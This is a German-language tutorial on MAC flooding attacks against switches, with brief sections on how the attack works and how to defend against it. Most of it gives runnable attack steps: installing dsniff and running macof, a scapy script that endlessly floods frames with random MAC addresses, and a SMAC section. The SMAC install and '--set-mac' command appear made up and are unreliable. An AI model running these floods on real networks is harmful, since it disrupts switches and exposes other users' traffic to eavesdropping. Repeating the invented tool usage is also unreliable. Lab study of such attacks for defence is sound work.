MAC Flooding: Angriff auf Switch-Sicherheit

Einführung

MAC Flooding ist eine Angriffstechnik, bei der ein Switch mit einer großen Anzahl gefälschter MAC-Adressen überflutet wird. Ziel ist es, die MAC-Adresstabelle des Switches zu füllen und diesen in den sogenannten Fail-Open-Modus zu versetzen. Dadurch verhält sich der Switch wie ein Hub, wodurch der Angreifer den gesamten Netzwerkverkehr abhören kann.

Funktionsweise

Switches verwenden MAC-Adresstabellen, um Daten effizient an die richtigen Ports zu senden. Diese Tabellen haben jedoch eine begrenzte Kapazität. Bei einem MAC-Flooding-Angriff werden so viele falsche MAC-Adressen gesendet, dass die Tabelle überläuft. Der Switch beginnt daraufhin, den Verkehr an alle Ports zu senden. Dieser Zustand wird als Fail-Open-Modus bezeichnet. Im Fail-Open-Modus verliert der Switch seine Fähigkeit, zielgerichtet Datenpakete weiterzuleiten, und verhält sich wie ein Hub.

Moderne Switches und Fail-Open-Modus

Heutige Switches verfügen in der Regel über Schutzmechanismen wie Port-Security, die das Auftreten des Fail-Open-Modus verhindern. Diese Mechanismen können:

  • Die Anzahl der erlaubten MAC-Adressen pro Port begrenzen.
  • Ungewöhnlichen Traffic erkennen und betroffene Ports automatisch blockieren.
  • Den Netzwerkadministrator über verdächtige Aktivitäten informieren.

Obwohl ältere Geräte weiterhin anfällig sein können, sind moderne Netzwerke oft so konfiguriert, dass MAC Flooding-Angriffe wirkungslos sind.

Angriffsszenario

Voraussetzungen

  • Kali Linux als Betriebssystem.
  • Root-Rechte für die Verwendung von Angriffstools.
  • Zugang zu einem Netzwerk, in dem der Angriff stattfinden soll.

Tools

  1. macof: Ein einfaches Tool aus der dsniff-Suite.
  2. scapy: Ein Python-Framework zur Erstellung von Netzwerkpaketen.
  3. SMAC: Ein Tool zum Ändern der MAC-Adresse auf einfache Weise.

Durchführung des MAC-Flooding mit Kali Linux

Methode 1: MAC Flooding mit macof

macof ist Teil der dsniff-Suite und eignet sich hervorragend für schnelle Angriffe.

Schritte:

  1. Installiere die dsniff-Suite (falls nicht vorinstalliert):

    sudo apt update && sudo apt install dsniff
  2. Führe den Angriff mit macof aus:

    sudo macof -i eth0
    • -i eth0: Gibt die Netzwerkschnittstelle an, auf der der Angriff ausgeführt wird. Ersetze eth0 durch die entsprechende Schnittstelle deines Systems.
  3. Beobachte den Netzwerkverkehr und bestätige, dass der Switch in den Fail-Open-Modus gewechselt hat.


Methode 2: MAC Flooding mit scapy

scapy ermöglicht eine detaillierte Kontrolle über die generierten Pakete.

Schritte:

  1. Starte scapy in der Kommandozeile:

    sudo scapy
  2. Führe das folgende Skript aus, um gefälschte MAC-Adressen zu senden:

    from scapy.all import *
     
    interface = "eth0"  # Netzwerkschnittstelle
     
    def flood():
        while True:
            pkt = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(), dst=RandIP()) / UDP()
            sendp(pkt, iface=interface, verbose=False)
     
    flood()
    • RandMAC(): Generiert zufällige MAC-Adressen.
    • RandIP(): Generiert zufällige IP-Adressen.
  3. Beende den Angriff mit Ctrl+C.


Methode 3: MAC-Adressen mit SMAC ändern

SMAC ist ein Tool, das die manuelle Änderung von MAC-Adressen erleichtert. Es kann verwendet werden, um gezielt MAC-Adressen für Tests oder Angriffe zu setzen.

Schritte:

  1. Installiere SMAC (falls nicht vorinstalliert):

    sudo apt update && sudo apt install smac
  2. Ändere die MAC-Adresse deiner Netzwerkschnittstelle:

    sudo smac --set-mac 00:11:22:33:44:55 -i eth0
    • --set-mac: Gibt die gewünschte MAC-Adresse an.
    • -i eth0: Gibt die Zielnetzwerkschnittstelle an.
  3. Überprüfe die Änderung:

    ifconfig eth0

    Die neue MAC-Adresse sollte angezeigt werden.


Abwehrmaßnahmen

  1. Port Security:
    • Konfiguriere den Switch so, dass nur eine begrenzte Anzahl von MAC-Adressen pro Port akzeptiert wird.
  2. Netzwerk-Monitoring:
    • Nutze Tools wie Wireshark, um ungewöhnlich hohen Verkehr zu erkennen.
  3. VLANs:
    • Trenne das Netzwerk in mehrere VLANs, um die Angriffsoberfläche zu reduzieren.

Fazit

MAC Flooding ist ein effektiver Angriff, der jedoch mit entsprechenden Konfigurationen auf Switches und Monitoring leicht erkannt und verhindert werden kann. In einer sicheren Netzwerkumgebung sollte derartige Angriffe stets eingeübt werden, um Schwachstellen aufzudecken und zu beheben.

Die Nutzung von Tools wie SMAC erlaubt zusätzliche Flexibilität, um Testumgebungen realistischer zu gestalten oder spezifische Angriffszenarien umzusetzen.


Tags

MACFloodingSwitchSecurityKaliLinuxNetworkAttackdsniff